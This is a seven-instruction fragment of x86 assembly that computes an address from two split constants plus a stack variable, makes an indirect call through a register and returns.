add eax, 5
mov ecx, 0x7852c340
add ecx, 0x87ed3cc0
add ecx, dword [ebp - 0x14]
call ebx
leave
ret